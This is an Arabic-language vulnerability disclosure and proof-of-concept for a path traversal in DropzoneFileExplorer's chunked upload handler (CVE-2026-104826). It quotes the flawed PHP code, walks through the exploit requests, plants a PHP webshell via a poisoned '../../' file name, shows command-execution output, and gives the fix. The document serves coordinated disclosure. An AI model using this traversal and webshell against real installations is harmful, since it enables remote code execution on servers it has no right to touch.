
سلسلة استغلال إثبات المفهوم لـ CVE-2026-104826، وهو اجتياز مسار في معالج التحميل المجزأ في DropzoneFileExplorer يكتب PHP webshell لتنفيذ التعليمات البرمجية عن بُعد.
معالج الرفع القابل للاستئناف (المجزأ) يثق في fileName المقدم من العميل طوال
الطريق حتى fopen(). مرّر له ../../ وستكتب خارج المجلد المسموح لك به،
خارج جذر التخزين، داخل جذر الويب. التطبيق يقدم PHP، لذا الملف الذي
تزرعه يعمل.
المشروع: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| الاستشارة | GHSA-7626-89vx-5rpc |
| الفئة | CWE-22 (اجتياز المسار) -> CWE-434 -> RCE |
| المصادقة | مصادق عليه افتراضيًا، غير مصادق عليه إذا كان AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 مرتفع (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| المتأثر | v1.1 (تم اختباره عند الالتزام 68858e0) |
| تم إصلاحه في | v1.2 |
| الفضل | Kanarat Kaeothong (Axiom0x) |
دالتان مهمتان. uploadInit تأخذ fileName من جسم الطلب وتحتفظ
به دون سوى trim() (inc/functions.php، حوالي L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize لاحقًا تقرأه مرة أخرى وتجمّع مسار الإخراج
(inc/functions.php، L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() جيدة بحد ذاتها. تستدعي realpath() وتتأكد
من أن المسار يبقى تحت جذور المستخدم. المشكلة في ما يُمرَّر إليها.
$destBaseAbs و $finalDirAbs كلاهما يتم التحقق منهما، لكن $finalAbs، الذي
يحتوي فعليًا على fileName الخاص بالمهاجم، لا يتم التحقق منه أبدًا. fopen() تحصل على
سلسلة .../shared/../../app/shell.php الخام ونظام التشغيل يطوي .. نيابة عنك.
جدير بالذكر: كل مسار كتابة آخر في قاعدة الشيفرة هذه إما يمرر المسار المُركّب
عبر ensure_inside_allowed_roots() أو يلف الاسم في basename(). هذا المسار
لا يفعل أيًا منهما. يبدو وكأنه موضع أُعيدت هيكلته وفُقد الفحص النهائي.
v1.1 الأصلي، الإعداد الافتراضي (AUTH_ENABLE=true). الفاعل مستخدم عادي lowpriv
مجلده الوحيد هو shared.
سجّل الدخول باسم lowpriv (احصل على رمز CSRF من صفحة تسجيل الدخول، ثم أرسل
POST auth_action=login).
تأكد من أن الصندوق الرملي يعمل فعلاً. الرفع مباشرة إلى مجلد شخص آخر مرفوض:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
استخدم المجلد المسموح به، لكن سمّم fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
أرسل الحمولة كجزء واحد:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
أنهِ العملية:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
الاستجابة تُبلّغ عن app/pwned.php. التطبيق نفسه يخبرك أنه كتب
خارج shared وخارج جذر التخزين.
شغّله:
GET /pwned.php?c=id
-> uid=... (command output)
من تشغيلي الخاص ضد نسخة محلية:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
راجع poc/exploit.py للسلسلة الكاملة (تسجيل الدخول، CSRF، التسميم،
الجزء، الإنهاء، التنفيذ).
أي شخص مسموح له بالرفع يمكنه كتابة ملف حيثما تستطيع عملية PHP الكتابة،
بغض النظر عما تقوله قواعد المجلد لكل مستخدم. ملف .php في جذر الويب هو
تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم الويب. مع AUTH_ENABLE=false لا توجد خطوة
تسجيل دخول وهو تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه مباشرة.
في uploadFinalize، قلّص fileName إلى اسم مجرد قبل فتحه، وأعد
فحص المسار المُركّب:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() وحدها توقف اجتياز المسار. إضافة فحص ensure_inside_allowed_roots($finalAbs)
هي النسخة الاحتياطية المزدوجة، وهي تتطابق مع كيفية حماية بقية الشيفرة
لعمليات الكتابة بالفعل. نفس المعالجة يجب أن تُطبّق على فرع سياسة rename
(حوالي L2210) حيث يُعاد حساب $finalName. المشرف أدرج هذا في v1.2.
إفصاح منسّق، تم إصلاحه قبل أن يصبح هذا علنيًا. PoC موجّه عمدًا إلى نسخة اختبار محلية. لا توجّهه إلى أي شيء لا تملكه.